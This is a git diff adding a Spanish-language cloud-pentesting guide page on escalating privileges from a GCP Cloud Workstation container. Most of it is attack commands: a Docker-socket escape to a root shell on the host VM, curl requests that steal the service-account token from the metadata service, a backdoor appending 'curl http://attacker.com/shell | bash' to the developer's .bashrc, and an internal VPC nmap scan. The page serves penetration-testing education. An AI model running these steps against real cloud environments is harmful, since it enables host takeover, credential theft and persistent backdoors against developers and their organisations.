diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md new file mode 100644 index 000000000..c214de0ed --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -0,0 +1,96 @@ +# GCP - Cloud Workstations Privesc + + +### Container Breakout via Docker Socket (Container -> VM -> Project) + +El principal camino de escalada de privilegios en Cloud Workstations proviene de la necesidad de soportar flujos de trabajo **Docker-in-Docker (DinD)** para desarrolladores. Cuando la configuración del workstation monta el Docker socket o permite contenedores privilegiados (una configuración común), un atacante dentro del contenedor del workstation puede escapar a la Compute Engine VM subyacente y robar su token de cuenta de servicio. + +**Prerequisitos:** +- Acceso a un terminal de Cloud Workstation (vía SSH, sesión comprometida o credenciales robadas) +- La configuración del workstation debe montar `/var/run/docker.sock` o habilitar contenedores privilegiados + +**Contexto de arquitectura:** El workstation es un contenedor (Capa 3) que se ejecuta en un runtime Docker/Containerd (Capa 2) sobre una GCE VM (Capa 1). El Docker socket da acceso directo al runtime de contenedores del host. + +> [!NOTE] +> La herramienta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza el escape completo del contenedor y te deja en una shell root en la VM host. + +
+ +Paso 1: Comprobar Docker socket +```bash +# Verify the Docker socket is available +ls -l /var/run/docker.sock +# Expected output: srw-rw---- 1 root docker 0 ... +``` +
+ +
+ +Paso 2: Escapar al sistema de archivos de la VM host + +Lanzamos un contenedor privilegiado, montando el directorio raíz del host en `/mnt/host`. También compartimos la red del host y el namespace PID para maximizar la visibilidad. +```bash +# Spawn a privileged container mounting the host's root filesystem +docker run -it --rm --privileged --net=host --pid=host \ +-v /:/mnt/host \ +alpine sh + +# Inside the new container, chroot into the host +chroot /mnt/host /bin/bash +``` +Ahora tienes un **root shell en la Compute Engine VM subyacente** (Layer 1). + +
+ +
+ +Paso 3: Robar el token de la cuenta de servicio de la VM desde IMDS +```bash +# From the host VM, query the Instance Metadata Service +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token + +# Check which service account is attached +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email + +# Check scopes (CRITICAL STEP) +curl -s -H "Metadata-Flavor: Google" \ +http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes +``` +
+ +> [!CAUTION] +> **¡Comprueba los Scopes!** +> Aunque la Service Account adjunta sea **Editor**, la VM podría estar restringida por los scopes de acceso. +> Si ves `https://www.googleapis.com/auth/cloud-platform`, tienes acceso completo. +> Si solo ves `logging.write` y `monitoring.write`, estás limitado a los vectores **Network Pivot** y **Persistence** que aparecen a continuación. + +
+ +Paso 4: Achieve Persistence (Backdoor the User) + +Cloud Workstations montan un disco persistente en `/home/user`. Como el container user (normalmente `user`, UID 1000) coincide con el host user (UID 1000), puedes escribir en el directorio home del host. Esto te permite backdoor the environment incluso si el workstation container se reconstruye. +```bash +# Check if you can write to the host's persistent home +ls -la /mnt/host/home/user/ + +# Drop a backdoor that executes next time the developer logs in +# Note: Do this from the container escape context +echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc +``` +
+ +
+ +Step 5: Network Pivot (Internal VPC Access) + +Dado que compartes el espacio de nombres de red del host (`--net=host`), ahora eres un nodo de confianza en la VPC. Puedes escanear servicios internos que permitan acceso basado en IP whitelisting. +```bash +# Install scanning tools on the host (if internet access allows) +apk add nmap + +# Scan the internal VPC subnet +nmap -sS -p 80,443,22 10.0.0.0/8 +``` +